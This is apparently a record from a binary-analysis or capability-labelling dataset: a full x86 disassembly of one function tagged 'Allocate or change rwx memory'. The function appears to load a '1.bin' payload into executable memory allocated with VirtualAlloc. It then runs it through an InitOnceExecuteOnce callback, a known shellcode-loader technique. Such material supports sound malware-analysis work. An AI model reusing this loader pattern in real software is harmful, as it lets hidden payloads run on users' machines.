Function at 0x4018d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ac
mov eax, dword [0x410024]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004011b0
push str.www.baidu.com
lea ecx, [ebp - 0x1c8]
call fcn.00402110
push str.www.bing.com
lea ecx, [ebp - 0x18c]
call fcn.00402110
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x1e8], 0
push 0x40e250
lea ecx, [ebp - 0x280]
call fcn.00402110
push 0x40e254
lea ecx, [ebp - 0x224]
call fcn.00402110
push 0x40e258
lea ecx, [ebp - 0x1e4]
call fcn.00402110
call fcn.00401180
push 0x40e25c
lea ecx, [ebp - 0x244]
call fcn.00402110
push 0x40e260
lea ecx, [ebp - 0x264]
call fcn.00402110
push 0x40e264
lea ecx, [ebp - 0x1ac]
call fcn.00402110
push 0x40e268
lea ecx, [ebp - 0x39c]
call fcn.00402110
push str.1.bin
lea ecx, [ebp - 0x380]
call fcn.00402110
lea eax, [ebp - 0x380]
push eax
push str._..._:
lea ecx, [ebp - 0x39c]
push ecx
push 0x40e278
lea edx, [ebp - 0x1ac]
push edx
push 0x40e27c
lea eax, [ebp - 0x264]
push eax
push 0x40e280
lea ecx, [ebp - 0x244]
push ecx
push 0x40e284
lea edx, [ebp - 0x1e4]
push edx
push 0x40e288
lea eax, [ebp - 0x224]
push eax
push 0x40e28c
lea ecx, [ebp - 0x280]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.00402c20
add esp, 0xc
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00402ce0
add esp, 0xc
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.00402d20
add esp, 0xc
push eax
lea edx, [ebp - 0x74]
push edx
call fcn.00402ce0
add esp, 0xc
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00402d20
add esp, 0xc
push eax
lea ecx, [ebp - 0xac]
push ecx
call fcn.00402ce0
add esp, 0xc
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.00402d20
add esp, 0xc
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00402ce0
add esp, 0xc
push eax
lea ecx, [ebp - 0x100]
push ecx
call fcn.00402d20
add esp, 0xc
push eax
lea edx, [ebp - 0x11c]
push edx
call fcn.00402ce0
add esp, 0xc
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.00402d20
add esp, 0xc
push eax
lea ecx, [ebp - 0x154]
push ecx
call fcn.00402ce0
add esp, 0xc
push eax
lea edx, [ebp - 0x170]
push edx
call fcn.00402d20
add esp, 0xc
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.00402ce0
add esp, 0xc
lea ecx, [ebp - 0x170]
call fcn.00402220
lea ecx, [ebp - 0x154]
call fcn.00402220
lea ecx, [ebp - 0x138]
call fcn.00402220
lea ecx, [ebp - 0x11c]
call fcn.00402220
lea ecx, [ebp - 0x100]
call fcn.00402220
lea ecx, [ebp - 0xe4]
call fcn.00402220
lea ecx, [ebp - 0xc8]
call fcn.00402220
lea ecx, [ebp - 0xac]
call fcn.00402220
lea ecx, [ebp - 0x90]
call fcn.00402220
lea ecx, [ebp - 0x74]
call fcn.00402220
lea ecx, [ebp - 0x58]
call fcn.00402220
lea ecx, [ebp - 0x3c]
call fcn.00402220
lea ecx, [ebp - 0x20]
call fcn.00402220
lea ecx, [ebp - 0x1e8]
push ecx
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0x364]
call fcn.00402260
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.00403d20
add esp, 8
push eax
call fcn.00401420
add esp, 0xc
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x1e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x190], eax
mov edx, dword [ebp - 0x1e8]
push edx
mov eax, dword [ebp - 0x248]
push eax
mov ecx, dword [ebp - 0x190]
push ecx
call fcn.00403010
add esp, 0xc
mov dword [ebp - 0x228], 0
lea edx, [ebp - 0x190]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x3a0], edx
mov eax, dword [ebp - 0x3a0]
push eax
call fcn.004036e1
add esp, 4
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x3a4], 0xffffffff
lea ecx, [ebp - 0x364]
call fcn.00402220
lea ecx, [ebp - 0x380]
call fcn.00402220
lea ecx, [ebp - 0x39c]
call fcn.00402220
lea ecx, [ebp - 0x1ac]
call fcn.00402220
lea ecx, [ebp - 0x264]
call fcn.00402220
lea ecx, [ebp - 0x244]
call fcn.00402220
lea ecx, [ebp - 0x1e4]
call fcn.00402220
lea ecx, [ebp - 0x224]
call fcn.00402220
lea ecx, [ebp - 0x280]
call fcn.00402220
lea ecx, [ebp - 0x18c]
call fcn.00402220
lea ecx, [ebp - 0x1c8]
call fcn.00402220
mov eax, dword [ebp - 0x3a4]
jmp 0x401e5e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402eb7
mov esp, ebp
pop ebp
ret 0x10